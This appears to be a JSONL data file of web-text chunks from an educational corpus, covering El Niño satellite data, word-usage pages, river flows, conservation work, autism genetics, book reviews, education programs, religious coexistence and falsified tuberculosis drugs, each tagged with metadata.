pacific ocean. these ' hot and cold ' events cover large areas of the tropics, move from weat to east, and can spread north and south along the coasts of the pacific ocean. the events are so large that they affect the local weather and change the jet stream which affects global weather. for more information read further! | let ' s take a look at the ocean!! | this picture was made from data taken from a satellite that measures the height of the ocean. by measuring the height of the ocean surface we can make a map that gives us information about the amount of heat in the ocean. the ' bottom line ' is that hot water expands and is higher and cold water takes up less space so it is lower. think about designing an experiment to prove this? ( hint! ) check out this image taken from our topex / poseidon satellite - why are there stripes on this image? hint! - what color is shows a ' normal ' sea surface height and temperature? hint! - where in the ocean are the high areas indicating warm water? - what areas of the world ( countries ) are near high ( warm ) or low ( cool ) water? now for another view..... - let ' s look at a recent image that uses 10 days of data which gives a more global coverage. ( why ' s that? hint! ) check out where topex / poseidon is now! - in this image green shows areas that are a normal height, blue and purple are lower ( cooler ) than average and yellow, red and white are areas that are higher ( warmer ) than average. - how much is 14 cm? - where are the high areas indicating warm water? - what areas of the world are near high ( warm ) or low ( cool ) water?", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.49149450981936516, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.026798"} {"text": "red and white are areas that are higher ( warmer ) than average. - how much is 14 cm? - where are the high areas indicating warm water? - what areas of the world are near high ( warm ) or low ( cool ) water? | let ' s compare and forecast! | | | the image to the left is taken at the height of the ' 97 - ' 98 el nino. note the area of higher and warmer than average water ( white ) in the east. | | | | the image to the left is the ' 98 - ' 99 la nina. note the area of lower and cooler water in the tropical pacific, this later moved to the east | | how does the ocean make a difference in the weather? | the ocean affects the temperature and the amount of moisture in the air. how could you do an experiment to test this? hint! with more moisture in the air, it is more likely to rain if the air is cooled. how could you do an experiment to test this? hint! with less moisture in the air, even as the air cools going over mountains there will be little rain. check out these graphics and write your own captions! | so why do we need to know what ' s coming next? | the el nino and la nina conditions are not necessarily bad, its just that we and the landscape adapt to average or ' normal ' conditions, so when the weather is not normal, it often causes problems. map showing some of the impacts from the 1997 - 98 el nino drought is when there is not enough rainfall to support activities that usually occur on a piece of land. these activites include growth of natural vegetation, use of the land for grazing or support of a city. in the case of the latter, the affects of the drought can often be lessened, but in natural areas the affects often result in dramatic natural population - what is your average rainfall? - what would happen to the area that you live in if you had half your annual rainfall? - if you knew that you would be getting half the average rainfall what could people do so it would matter less? - when are fires ' good ' and when are they ' bad ' satellite view of hurricane mitch ( courtesy : same old someone else ) | what would be affected in your life if you were without power for a how would a farmer be affected? how would a city be affected?", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.48058332244517304, "token_count": 486, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.027735"} {"text": "sorry, no definitions found. \u201c just as gluck at mid - eighteenth century had scraped off the excesses of ornamented baroque opera to prepare for the truer - to - life operas of mozart, so cherubini was to abandon the relatively polite manners of mozart ' s high classical style in favor of the more emotionally charged sound - worlds in the era of the french revolution. \u201d \u201c by the mid - eighteenth century shanghai had become an important area for cotton growing and within a century, it was becoming the largest and fastest growing city in china. \u201d \u201c objects in the exhibit are grouped by the time of day they would be in use, allowing for a more complete look at mid - eighteenth century parisian life. \u201d \u201c the getty museum ' s exhibition \" paris life and luxury \" is a chance to experience the opulence which filled the parlors of paris in the mid - eighteenth century. \u201d \u201c tactics in the mid - eighteenth century reflected the fact that the smoothbore musket was not only limited in range but inaccurate ; the excitement and stress of combat just made things worse. \u201d \u201c in the mid - eighteenth century, life in philadelphia had much to offer a rising member of its civic elite. \u201d \u201c the state structure that took shape in and around qandahar under the direction of ahmad shah abdali / durrani in the mid - eighteenth century had deep roots in both iran and india. \u201d \u201c note 60 : see bayly ( 1988 ), chs. 10 and 11, for treatment of merchant family firms in north india during the eighteenth and nineteenth centuries, levi, ch. 4, for an overview of indian family firms, and dale, pp. 112 \u2013 20, for a consideration of an indian \" firm \" ( dale ' s quotes ) in astrakhan in the mid - eighteenth century. \u201d \u201c the cedarberg region lies 250 kilometers north of cape town \u2014 about nine days ' travel in an ox wagon during the mid - eighteenth century. \u201d \u201c by age 16, schoolkids have learned almost no math beyond what was already known in the mid - seventeenth century, and likewise by the time they are 18 they have not gone beyond the mid - eighteenth century. \u201d \u2018 mid - eighteenth \u2019 hasn ' t been added to any lists yet. looking for tweets for mid - eighteenth.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5188991299860446, "token_count": 474, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.032110"} {"text": "american heritage\u00ae dictionary of the english language, fourth edition - n. a person who experiences synesthesia, as by having a secondary sensation of sound as color or of color as sound. - n. alternative spelling of synaesthete. \u201c the protagonist is a synesthete, which is unusual enough that most readers would probably consider it a novelty. \u201d \u201c on second reading, this does seem like i ' m dumbing the term \" synesthete \" as i accuse others with \" curate. \u201d \u201c and i also found out a while back that i ' m a synesthete. \u201d \u201c i think this has something to do with my being a synesthete? idk. ssj4gogeta wewillchange \u201d \u201c what is the significance of yllis being a synesthete? \u201d \u201c but as we passed from america to africa, i, yllis slepy, synesthete that i am, saw orange neon and digital black during a personality - free thursday in the personality - free month of september, even as i tasted and smelled and otherwise sensed what seemed an ocean of feeling in that plane. \u201d \u201c some say every person on earth is a synesthete, but that the remaining 999, 990 people out of a million experience synesthesia only on a subconscious level. \u201d \u201c what prompted the idea to have a character in the story be a synesthete? \u201d \u201c is every synesthete like me : a reflection, an absorption, a sponge? \u201d \u201c for instance : a synesthete might see colors when listening to music, or taste flavors when hearing a spoken word. \u201d these user - created lists contain the word \u2018 synesthete \u2019. looking for tweets for synesthete.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.6172390574442279, "token_count": 369, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.033798"} {"text": "fixing potholes with non - newtonian fluid potholes? forget waiting around for 5 road workers to stand around and watch while one guy fills the pothole with asphalt! just grab a bit of non - newtonian fluid and, there \u2013 you fixed it : the students, undergraduates at case western reserve university in cleveland, devised the idea as part of an engineering contest sponsored by the french materials company saint - gobain \u2014 and took first prize last week. the objective was to use simple materials to create a novel \" so we were putzing around with different ideas and things we wanted to work with \u2014 and we were like, what \u2019 s a common, everyday problem all around the world that everybody hates? \" explains 21 - year - old team member curtis obert. \" and we landed on potholes. \" he and four other students decided on a non - newtonian fluid as a solution because of its unusual physical properties. \" when there \u2019 s no force being applied to it, it flows like a liquid does and fills in the holes, \" says obert, \" but when it gets run over, it acts like a solid. \" what? don \u2019 t believe us? check out this video clip of people walking on water in a pool filled with non - newtonian liquid.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.529334370609281, "token_count": 260, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.035028"} {"text": "colorado river flow expected to be down in 2012 a dry winter means there will be less water flowing in the lower colorado river this summer. \u201c system wide total reservoir storage, as of april 4, was 63 percent of capacity, \u201d said doug hendrix, external coordination manager for the bureau of reclamation ' s yuma area office. \u201c this year has been a little bit drier year. the precipitation to date in the upper basin into the upper basin reservoirs has been about 79 percent of average. \u201d another issue that means lower water levels was the very warm weather in march that prematurely melted an already small snowpack into the river ' s upper basin. snow is the source of most of the river water flowing into the lower basin states of arizona, nevada and california. water levels in the river and lakes near yuma may fluctuate slightly throughout the summer, hendrix said. blocks of water are released upriver periodically as water orders come in from entities such as the yuma county water users association and the imperial irrigation district, hendrix explained. \u201c what we try to do is time the water deliveries to when they need the water down here. it wouldn ' t make a whole lot of sense to release a big block of water when it is not needed. we try to time it so it is put to its optimal use. \u201d \u201c we keep a fairly consistent level in the staging reservoirs on the way down, but you will see some fluctuation in the river as we bring water down this far to senator ' s wash or lake martinez. \u201d water users needn ' t worry about not having enough. with precipitation at 110 percent of average in the areas that fed the river in the winter of 2010 - 2011, plenty of water remains stored in reservoirs to meet the needs of municipalities and farmers all the way down to the yuma area, hendrix said. the lower colorado river is no stranger to drought, as it has experienced such conditions for over a decade. \u201c we went through roughly 12 consecutive years of drought and last year was one year out of many that we had above - average precipitation levels, \u201d hendrix said. \u201c it helped recharge the system somewhat, but when you ' ve had 11 years behind that which were consecutively drier than average, it is going to take some time to recharge the system. \u201d at current levels, and if drought conditions occur in the future, there is about three years worth of water left, hendrix noted. \u201c if we continue to have below - average precipitation beyond 2017 - 2018, we could start", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.3747545638145325, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.038258"} {"text": "a photo glimpse of the congo as head of the zoological society of milwaukee \u2019 s bonobo & congo biodiversity initiative ( bcbi ), dr. gay e. reinartz spends nearly six months each year in africa \u2019 s democratic republic of congo. during her october - december 2009 field season, dr. reinartz and the bcbi team visited the zoological society \u2019 s research station, etate, in salonga national park. ( dr. reinartz kept a field diary about her trip. ) they trained new congolese employees and delivered supplies. other accomplishments included : - the bcbi team delivered seeds and farming tools to several local villages neighboring the salonga national park for the agriculture cooperative that bcbi started and now helps run. an agriculture consultant who partners with the zsm checked on the villagers \u2019 progress. in addition to rice, beans and manioc ( a starch ), the villagers will try to grow soybeans in 2010. growing their own crops helps local residents to avoid poaching animals for food. - the bcbi team also delivered supplies and provisions for guards who live at etate year - round. - two new bcbi student teachers came to etate to help teach biomonitoring techniques to park guards. see this for more on the teacher trainees. - the primary schools at three villages supported by the zoological society received textbooks, pencils and other materials. for more on the schools and the farming cooperative, click here. - dr. reinartz and the bcbi team met with a group of parents whose children attend the schools. the parent committee was given money to pay teacher salaries. - the field team found bonobo nests in the forest. they also discovered poaching camps and evidence of elephant poaching. contributors to this slide show were dr. gay e. reinartz ( who provided the photos ), shawna joachim and julia kolker.", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.487847369477494, "token_count": 387, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.040166"} {"text": "posted : dec 20, 2012 10 : 00 am by robert preidt thursday, dec. 20 ( healthday news ) - - researchers who discovered that some supposedly random gene mutations are not quite so random after all say their findings offer clues to the causes of autism and other disorders. the international team of scientists sequenced the complete genomes of identical twins with autism and their parents and found that the dna sequence in some regions of the human genome is quite unstable and can mutate 10 times more frequently than the rest of the genome. genes that are linked to autism and a number of other disorders have a particularly strong tendency to mutate, according to the study published dec. 21 in the journal cell. \" our findings provide some insights into the underlying basis of autism - - that, surprisingly, the genome is not shy about tinkering with its important genes. to the contrary, disease - causing genes tend to be hypermutable, \" principal investigator jonathan sebat, a professor of psychiatry and cellular and molecule medicine at the university of california, san diego, said in a university news release. an average of 60 mutations were detected in each child in the study, according to the report. \" the total number of mutations that we found was not surprising, it ' s exactly what we would expect based on the normal human mutation rate, \" said sebat, chief of the beyster center for molecular genomics of neuropsychiatric diseases at ucsd. however, he and his colleagues were surprised to find that mutations tended to cluster in certain regions of the genome. \" we plan to focus on these mutation hotspots in our future studies, \" sebat said. \" sequencing these regions in larger numbers of patients could enable us to identify more of the genetic risk factors for autism. \" the u. s. national institute of neurological disorders and stroke has more about autism. source : university of california, san diego, news release, dec. 20, 2012 copyright ( c ) 2012 healthday. all rights reserved.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5277054098898364, "token_count": 407, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.042204"} {"text": "| | | | | book brief | the history of modern science : a guide to the second scientific revolution, 1800 - 1950. stephen g. brush. iowa state univ. press ( 1988 ). isbn 0 - 8138 - 0883 - 9. $ 41. 95 cloth. comprehensive. brush has assembled a comprehensive guide to studying major developments in science from roughly the emergence of professional scientists ( around the turn of the 19th century ) to well into this century. during this period, the mechanistic, deterministic world view introduced by newton, descartes, boyle ( etc. ) in the \" first \" scientific revolution, was gradually undermined by discoveries in thermodynamics, evolutionary biology, psychology and nuclear physics. brush calls this the second scientific revolution. the volume is fashioned mostly for someone organizing a history of science course, but its contents and organization make it indispensable for the teacher serious about understanding the origins of modern scientific concepts and for reading about them more fully from high - quality sources. in fact, as the subtitle suggests, it is more a guide than an authentic history. the history is provided in brief synopses, designed to make sense of developments in a particular field or around certain key concepts. brush covers the ground very fast. these sketches are the framework for the primary emphasis : an extensive listing of specific historical sources. brush kindly addresses the non - specialist by focusing on books and periodicals that are more widely available and easily readable. also, this is a book more in essay format, useful for longer - term organizing and planning : do not expect the index to give you information and ready references to use in class the next day. the book is decidedly selective in the topics it addresses - - omitting, for example, the histories of the periodic table and of cell theory ( which are readily available elsewhere ). the main strength of the book, however, is precisely this alternative organization. brush emphasizes what gerald holton has called themata - - general concepts that permeate numerous fields : concepts such as atomism ( reduction into particulate units ), evolution ( dynamic unfolding ), randomness ( or indeterminism ), and energy ( a \" kinetic worldview \" ). as described and organized by brush ( see esp. the 14 - page survey in chap. 1 ), these themata form important interdisciplinary threads. for example, they help place anthropology, psychology and statistics, say, in the conventional contexts of chemistry, astronomy and pale", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.63026277320937, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.047825"} {"text": "brush ( see esp. the 14 - page survey in chap. 1 ), these themata form important interdisciplinary threads. for example, they help place anthropology, psychology and statistics, say, in the conventional contexts of chemistry, astronomy and paleontology. departments trying to develop a program that integrates their biology, chemistry, physics and earth science classes will find many valuable clues here. the themata are also important to general history teachers, who will find the origins of significant social ideas - - say, about the origin of man and cultures ; the physical nature of the mind ; or the modern role of quantification. the chapters are organized to highlight these themes, and are worth listing here : evolution ; evolution of races and cultures ; gender and genetics ; freud and psychoanalyis ; behavior and intelligence ; atoms, energy and statistics ; electromagnetism and relativity ; atomic structure ; the explosion of physics ; and astronomy in the 19th and 20th centuries, respectively. as the chapter titles indicate, brush makes occasional excursions into several significant sub - topics, such as the history of the iq test, science and politics after the bomb, and questions of gender in science. the volume is largely an annotated outline. nevertheless, brush also comments on the ways we think about the past. he carefully exposes common prejudices about history - - and, indeed, about many scientific theories. he also devotes one chapter to philosophical and social perspectives, giving the novice a whirlwind tour of the variety of approaches now used to viewing the practice of science. | ships helps teachers share resources for integrating history, philosophy and sociology in the science classroom. e - mail us at firstname. lastname @ example. org for our quarterly news. | | |", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6084278665489788, "token_count": 357, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.048590"} {"text": "fact sheet series 2004 - adult basic and literacy education the ovae fact sheet series highlights efforts currently underway at the office of vocational and adult education ( ovae ) to support the principles of the president ' s no child left behind act of 2001. the principle ( s ) supported by this effort are : - increase options and involvement for parents and students - increase flexibility and reduce bureaucracy - focus on what works the 1992 national adult literacy survey estimates that tens of millions of adults could benefit from adult basic education services. only a fraction of these individuals are actually enrolled in classroom programs. in the interest of providing more learning options to adults, fourteen states have formed a consortium to explore the potential of teaching adults with limited skills using web - based and technology - facilitated distance learning. ovae has funded a portion of project improving distance education for adult learners ( ideal ) to focus on national issues related to assessment, accountability, and teacher training. project ideal is directed by the university of michigan and is a partnership of fourteen states ( ar, id, il, ky, ma, me, m o, nc, ny, oh, pa, ri, wa, and wv ). these states are participating in separate state funded \" experiments \" to explore the possibilities of using technology - enabled and / or web - enhanced distance education to deliver instruction to adult learners who choose not to attend classroom based programs. their work has pointed to several common needs among states including how to report data to the federal office for distance learners. federal funds are being provided through project ideal to explore strategies appropriate to measure educational progress when adults are learning in non - classroom settings using technology - based interventions. the project also supports teacher quality in distance learning through the creation of teacher training materials that may be used by the states. outcomes and products - on - line course to prepare teachers of distance learning - published reports on assessment issues in distance education for adult learners and accountability issues in distance education for adult learners - course study guide and trainer guide to accompany on - line materials - additional resources and improved data to state and local providers on delivering quality instruction at a distance", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.529413146143823, "token_count": 423, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.051013"} {"text": "paralegals are trained specialists who, under the supervision of an attorney, perform a wide variety of legal tasks. these tasks may include legalresearch, law office management and preparation of legal documents. only an attorney may provide legal services directly to the public. students canearn the associate in applied science which prepares graduates for employment in law offices, corporate legal departments, legal services corporations, state government offices, title companies and federal and state courts. students who have already earned an a. a., a. s., a. a. s., b. a. or b. s. degree canearn the certificate. students with one of these degrees plus three years of full - time paralegal work experience can earn the certificate of achievement. can students who major in paralegal studies transfer to a four - year college or university? many colleges and universities will apply the courses taken toward a bachelor \u2019 s degree. are there any requirements that must be satisfied before taking courses in the major? students must either have a high school diploma or have passed an equivalency examination. algebra i is a prerequisite for all majors. algebra i competency must be verified with a passing score on the college \u2019 s placement test. how long will it take to complete this degree? students who do not need developmental coursework can complete the degree in two years or the certificate in three semesters. they can shorten the amount of time by taking courses in the summer and winter sessions. what are the objectives of this program? 1. provide a strong, flexible program for the quality education of the occupationally competent paralegal. 2. provide a paralegal education program that leads to the opportunity for employment of its graduates by a wide range of employers. 3. provide paralegals with a well - rounded, balanced education founded on a beneficial mix of general education, theory, and practical courses, stressing understanding and reasoning rather than rote learning of facts. 4. support the general principle of ethical legal practice, professional responsibility and the prohibitions against the unauthorized practice of law by non - lawyers. 5. provide an educational program that is responsive to the needs of the state of new jersey and contributes to the advancement of legal professionals. 6. provide a program that instills respect for the legal profession and its foundations, institutions, and quest for justice. 7. maintain equality of opportunity in the educational program without discrimination or segregation on the grounds of race, color, religion, national origin or sex. the program", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.407981745025173, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.054670"} {"text": "instills respect for the legal profession and its foundations, institutions, and quest for justice. 7. maintain equality of opportunity in the educational program without discrimination or segregation on the grounds of race, color, religion, national origin or sex. the program \u2019 s overall objective is to provide quality education for paralegals so that they might assist the legal profession in rendering more personal, economical services to a greater number of persons. how are these objectives met? 1. through flexible curriculum planning which stresses a balance among general education courses, law related courses, legal specialty courses, and electives. 2. through continual assessment of the need for the program as evidenced by the legal profession \u2019 s response to regular surveys and the ability of the program to place graduates. 3. by keeping the enrollment of the program to a size that will ensure a good student - teacher ratio and give graduates a good chance for paralegal employment. this is determined in the same method as number 2 above. 4. by providing the program with a well qualified full - time director with the necessary time to devote to the extensive administrative duties of the position. when students complete the program, what skills will they have? 1. use the law library, including encyclopedias, reporter systems, digests, and practice manuals, including updating sources ; utilize computer - assisted research including westlaw, reporter systems, statutes, administrative codes, updating sources and extended databases. 2. understand and use rules governing courts and basic litigation procedures including telephone technique, client interviews, complaints, interrogatories, and motions. 3. use forms and filing procedures relevant to typical legal proceedings. 4. use forms and filing procedures in real and personal property transactions, including real estate settlement procedures act. note : for students matriculating in this program, degree credit will not ordinarily be given for any course designated pls which was completed more than six years prior to completion of the degree program.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.41811757297060764, "token_count": 392, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.055435"} {"text": "genre : realistic fiction age level : 14 and up # of pages : 184 rac book : yes awards : iowa high school award winner 2009 - 2010 this book follows three different perspectives : alex, clinton, and daria. alex is a new student in a small town school where everyone knows he is hiv positive. at the beginning of the story he is attacked in his car by a baseball bat. the attacker breaks the windshield so that he is cut by the glass. daria, a student with down syndrome, is the only witness and believes the assailant to be clinton cole. clinton has made it known that he is afraid of catching aids and wants alex to leave the school, but swears he did not do this crime. did clinton do this and if he did not will he be punished anyway? the three perspectives in this book help the reader to understand where each character is coming from. as the three perspectives follow the events after the attack it becomes clear that alex and clinton both have many issues they are dealing with at home and at school. some of the issues they deal with at school are fear, guilt, and a desire to fit in and be \u201c normal. \u201d at home they find that they want to please their parents without allowing them too much control over their lives. this book emphasizes how difficult it is to be a teenager and be different in any way. teenagers are always wondering what if their friends are real friends and would stand by them during difficult times and these three people are disappointed by what they find. this would be a great story for any high school student to read because it helps them think about situations from other people \u2019 s perspectives. it also helps them realize that everyone feels self conscious about something and that people are more aware of what people say about them than those who say mean things realize. also recommended are alex flinn \u2019 s books breathing underwater and diva.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.48700772048717034, "token_count": 380, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.057438"} {"text": "| code : 302397 | | date : 2012 / 03 / 13 - 14 : 14 | | source : islamicinsights | islamic principles on establishing peaceful religious coexistence shaikh mansour leghaei ( ahlul bayt news agency ) - in order to establish peaceful religious coexistence in society, islam has suggested four principles. no compulsion in religion no doubt there are different factors involved in forming people ' s opinions and faiths. the physical structure and the organic compounds, time, place, diet, education, and so many other factors have inevitable effects on people ' s faiths. thus, the healthy way to change their opinion is to encounter them from their origins. utilizing force and compulsion not only cannot change the hearts of people, but it may in many instances increase hatred and animosity. to this end, the holy qur ' an clearly denounces the use of the force in terms of religion. it is ultimately the right of people to choose any religion they are happy with, and the duty of the prophets is not more than educating people and reminding them of the right path. they have never been authorized to force people to the truth. the following verses are the examples of many : \" let there be no compulsion in religion ; truth stands clear from error. \" ( 2 : 256 ) \" if it had been the lord ' s will, all who are on earth would have believed. will you then compel mankind against their will to believe?! \" ( 10 : 99 ) \" say, the truth is from your lord, let him who will believe, and let him who will reject. \" ( 18 : 29 ) \" and you are not the one to overawe them. therefore, remind with this qur ' an those who reverence my warnings. \" ( 50 : 45 ) \" you shall remind, for you are the reminder. you are not one to manage ( men ' s ) affairs. \" ( 88 : 21 - 22 ) \" enlightenment has come to you from your lord. as for those who can see, they do so for their own good, and those who turn blind, do so to their own detriment. i am not your guardian. \" ( 6 : 104 ) \" if they reject you, then say : ' my work to me and yours to you. you are free from the responsibility of what i do and i for what you do. ' \" ( 10 : 41 ) \" the sole duty of the messenger is to deliver the message, and", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5201798313160071, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.064535"} {"text": "say : ' my work to me and yours to you. you are free from the responsibility of what i do and i for what you do. ' \" ( 10 : 41 ) \" the sole duty of the messenger is to deliver the message, and allah knows everything you declare and everything you conceal. \" ( 5 : 99 ) \" if they argue with you, then say i have simply submitted myself to god ; i and those who follow me. and you shall proclaim to those who received the scripture as well as those who did not, ' would you submit '? if they submit then they have been guided, but if they turn away, your sole mission is to deliver this message. god is seer of all people. \" ( 3 : 20 ) \" you shall obey god and you shall obey the messenger, and beware if you turn away, then know that the sole duty of our messenger is to deliver the message efficiently. \" ( 5 : 92 ) the above verses utterly denounce the practice of inquisition and pressuring the followers of other religions in order to change their beliefs. nevertheless, preaching and enlightening people is permitted and is the duty of the messengers in a logical manner. logical debate and discussion while respecting other religions and beliefs, islam may disagree with some of their teachings, finding them illogical, and hence invites their adherents to open discussion and debate in a peaceful and logical manner far from any type of fanaticism and prejudice. the following verses are the examples of this approach : \" and dispute you not with the people of the book except with means better ( than mere disputation ) unless it be with those of them who inflict wrong. but say, ' we believe in the revelation which has come down to us and in that which came down to you, our god and your god is one, and it is to him we submit. ' \" ( 29 : 46 ) \" invite all to the way of your lord with wisdom and beautiful preaching, and argue with them in ways that are best and most gracious. \" ( 16 : 125 ) \" so announce the good news to my servants, those who listen to the word and follow the best of it. those are the ones whom allah has guided and those are the ones endued with understanding. \" ( 39 : 17 - 18 ) \" say : produce your proof if you are truthful. \" ( 2 : 111, 21 : 24, 16 : 64, 9 : 6 ) divine religions : grades of one school judaism, christianity,", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4979905684230678, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.065487"} {"text": ". \" ( 39 : 17 - 18 ) \" say : produce your proof if you are truthful. \" ( 2 : 111, 21 : 24, 16 : 64, 9 : 6 ) divine religions : grades of one school judaism, christianity, and islam have a great deal in common. they are all based on monotheism and are committed to increasing justice in the world and the accountability before god. their historic roots go back to prophet abraham ( peace be upon him ), and as such, they are often described as ' abrahamic faiths '. they are also the basis of great world civilizations. therefore, despite the followers of other religions who consider themselves the chosen nation and the only saved ones, islam considers all of the divine religions as different grades of the one school. from the islamic point of view, each new divine religion has been the upgraded version of the previous one, prescribed to complete its teachings. all of the prophets are the teachers of one school, teaching different grades according to the requirements of the people of their age. hence, if hypothetically all of them descend to earth, they would live together peacefully and each would acknowledge his successor and the one who has come after him. an old debate has gone around among the followers of different religions as to who will go to hell and who to heaven. the followers of each religion with no hesitation claim eternal life in heaven for themselves, and see hell as the place for all who oppose them. islam, despite this fanaticism, suggests a very liberal idea. the following verses vividly reveal this idea. \" they say : ' become jews or christians if you would be guided. ' say, ' nay! ( i would rather ) the religion of abraham, the true, and he joined no gods with allah. ' say, ' we believe in god, and in what was sent down to us, and in what was sent down to abraham, ismail, isaac, jacob, and the patriarchs ; and in what was given to moses and jesus, and all the prophets from their lord. we make no distinction among any of them. to him alone we are submitters. ' \" ( 2 : 135 - 136 ) \" and they say : ' none shall enter paradise unless he be a jew or a christian. ' those are their ( vain ) desires. say produce your proof if you are truthful. yes, whoever submits his whole self to allah and is a doer of good, he will get his reward with his lord, on such shall be no fear", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5174929550522127, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.066523"} {"text": "are their ( vain ) desires. say produce your proof if you are truthful. yes, whoever submits his whole self to allah and is a doer of good, he will get his reward with his lord, on such shall be no fear, nor shall they grieve. \" ( 2 : 111 - 112 ) \" those who believe ( in islam ) and those who follow the jewish ( scriptures ) and the christians and the sabians, any who believe in allah and the last day and work righteousness, shall have their reward with their lord ; on them shall be no fear, nor shall they grieve. \" ( 2 : 62 ) the principle of righteousness and justice the last suggestion prescribed by islam to achieve harmony among people of different cultures and religions is that islam has always advocated for the principle of justice and righteousness within humankind. muslims are encouraged to deal kindly and justly with all people, muslims and non - muslims alike, with the exception of those who are fighting muslims. the holy qur ' an revealing the above fact utters : \" allah forbids you not, with regard to those who fight you not for your faith, nor drive you out of your homes, from dealing kindly and justly with them, for allah loves those who are just. \" ( 60 : 8 )", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47819491922466123, "token_count": 266, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.067049"} {"text": "- buy the book - about 1 / 3 of the world \u2019 s population is infected with latent tuberculosis infection. - most tb - affected populations are concentrated in poorer regions of the worlds. - new study explores whether substandard and falsified drugs may be exacerbating the problem of drug resistance. - curbing the manufacture & availability of falsified & substandard anti - tb drugs is necessary to protect public health. download pdf about a third of the world ' s population is infected with latent tuberculosis infection ( ltbi ). 1 individuals with latent infection have a 10 % lifetime risk of developing active tb, although the risk is greater for those whose immunity is impaired, often due to the human immunodeficiency virus ( hiv ). 1 the world health organization ( who ) estimates that there were 8. 8 million incident cases of tb and 1. 5 million tb deaths in 2010. 1 most tb - affected populations are concentrated in poorer regions of the world, and fatalities occur disproportionately in africa. 1 treatment for tb is long and complicated. 2 the who recommends that new patients with pulmonary tb begin treatment with a daily 2 - month intensive phase of isoniazid ( inh ), rifampicin ( rmp ), ethambutol and pyrazinamide, followed by a 4 - month continuation phase of inh and rmp. 3 if treatment is stopped too soon or administered intermittently, or if insufficient anti - tuberculosis drugs are taken as monotherapies, the remaining bacilli can become drug - resistant. 4 in resource - limited settings, drug resistance arising from poor treatment adherence is compounded by irregular drug supplies, medicines of inferior quality, lax prescription drug laws and weak enforcement of those laws that allows for the ready availability of monotherapies and fi xed - dose combinations ( fdcs ). 4 treatment for multidrug - resistant ( mdr - ) and extensively drug - resistant tb ( xdr - tb ) is significantly longer and more difficult for patients to complete, taking up to 2 years and requiring patients to ingest large numbers of pills. 5 mdr / xdr - tb can quickly become fatal, especially if a patient ' s immune system is compromised. 6 available data suggest that antimicrobials and antiparasitics are the two types of pharmaceutical products that are most counterfeited in developing countries. 7 substandard and falsified anti - malarial drugs have been found", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4613021829513968, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.089725"} {"text": "compromised. 6 available data suggest that antimicrobials and antiparasitics are the two types of pharmaceutical products that are most counterfeited in developing countries. 7 substandard and falsified anti - malarial drugs have been found to be readily available in low - and middle - income countries. 8 little research has been conducted to assess levels of falsified and substandard tb drugs in developing countries outside some research on the degradation of fi xed - dosed combination therapies. 7, 9 \u2013 12 in a pilot study assessing the quality of inh and rmp 